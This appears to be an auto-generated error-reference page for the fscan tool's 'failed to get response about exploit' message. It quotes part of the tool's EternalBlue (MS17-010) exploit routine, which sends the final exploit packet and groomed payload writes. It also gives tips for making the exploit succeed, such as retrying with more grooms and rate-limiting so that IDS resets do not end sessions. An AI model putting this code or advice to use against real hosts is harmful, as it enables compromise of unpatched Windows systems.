What causes "failed to get response about exploit: %s" in shadow1ng/fscan?

Check the wrapped error: io timeout or connection reset means the target likely closed the socket — treat the host as probably not vulnerable or rate-limit and retry with fewer attempts

shadow1ng/fscan · error

failed to get response about exploit: %s

Error message

failed to get response about exploit: %s

What it means

This error wraps any failure returned by smb1GetResponse after the final EternalBlue Trans2 exploit packet was written to the SMB connection (plugins/services/ms17010_exp.go:93). The library throws it because the exploit's last step requires reading the target's SMB reply to extract the NT status code; without a parseable response the exploit attempt cannot proceed. It is a wrapper, so the underlying cause is always an embedded read/parse error from smb1GetResponse.

Source

Thrown at plugins/services/ms17010_exp.go:93

			_ = groomConns[i].Close()
		}
	}()

	//fmt.Println("Running final exploit packet")
	err = conn.SetReadDeadline(time.Now().Add(10 * time.Second))
	if err != nil {
		return err
	}
	treeID := header.TreeID
	userID := header.UserID
	finalPacket := makeSMB1Trans2ExploitPacket(treeID, userID, 15, "exploit")
	_, err = conn.Write(finalPacket)
	if err != nil {
		return fmt.Errorf("failed to send final exploit packet: %s", err)
	}
	raw, _, err := smb1GetResponse(conn)
	if err != nil {
		return fmt.Errorf("failed to get response about exploit: %s", err)
	}
	ntStatus := make([]byte, 4)
	ntStatus[0] = raw[8]
	ntStatus[1] = raw[7]
	ntStatus[2] = raw[6]
	ntStatus[3] = raw[5]

	//fmt.Printf("NT Status: 0x%08X\n", ntStatus)

	//fmt.Println("send the payload with the grooms")

	body := makeSMB2Body(payload)

	for i := 0; i < len(groomConns); i++ {
		_, err = groomConns[i].Write(body[:2920])
		if err != nil {
			return err
		}

View on GitHub (pinned to 95cc12e753)

Solutions

Check the wrapped error: io timeout or connection reset means the target likely closed the socket — treat the host as probably not vulnerable or rate-limit and retry with fewer attempts
Verify the target actually listens on 445 and speaks SMB1 (ms17010 detection/leak check) before running the exploit
Re-run via eternalBlue's retry loop (maxAttempts) which increments grooms per attempt, since race-sensitive stages can fail transiently
Confirm network path (VPN, firewall) is not injecting RSTs; capture traffic with tcpdump/Wireshark if persistent

Example fix

// before
raw, _, err := smb1GetResponse(conn)
if err != nil {
    return fmt.Errorf("failed to get response about exploit: %s", err)
}
// after
raw, _, err := smb1GetResponse(conn)
if err != nil {
    return fmt.Errorf("failed to get response about exploit: %w", err) // unwrap with errors.Is(err, os.ErrDeadlineExceeded)
}

Defensive patterns

Strategy: try-catch

Validate before calling

// Go: probe SMB1 reachability before exploiting
func smbReachable(address string) error {
    conn, err := net.DialTimeout("tcp", address, 10*time.Second)
    if err != nil { return err }
    defer conn.Close()
    _ = conn.SetReadDeadline(time.Now().Add(10 * time.Second))
    return smbClientNegotiate(conn)
}

Type guard

func isTimeoutOrReset(err error) bool {
    return errors.Is(err, os.ErrDeadlineExceeded) ||
        errors.Is(err, syscall.ECONNRESET)
}

Try / catch

err := eternalBlue(addr, grooms, attempts, sc)
if err != nil {
    var opErr *net.OpError
    if errors.As(err, &opErr) {
        // network-level cause: log target, continue scan
    } else {
        // unexpected: investigate
    }
}

Prevention

Run a non-intrusive MS17-010 probe before the exploit to confirm SMB1 + vulnerability
Always run exploits through the retrying eternalBlue wrapper rather than a single exploit() call
Capture packet traces when a target consistently fails at the response stage
Rate-limit scans so IDS/RST-based filtering does not kill sessions

When it happens

Trigger: Calling exploit() (via eternalBlue) when conn.Write(finalPacket) succeeds but the subsequent smb1GetResponse fails: the target closes or resets the connection, the 10s read deadline expires, or the target returns a non-SMB1/malformed NetBIOS frame.

Common situations: Scanning a patched host that drops the malformed Trans2 packet and kills the connection; a firewall or IDS resetting the TCP session mid-exploit; slow or saturated target hitting the 10-second SetReadDeadline; the target speaking only SMB2/SMB3 and answering with unexpected frames.

Related errors

AI-assisted analysis of shadow1ng/fscan@95cc12e753 (2026-09-06). Data as JSON: /api/errors/70e3cde721b15fe7. Report an issue: GitHub.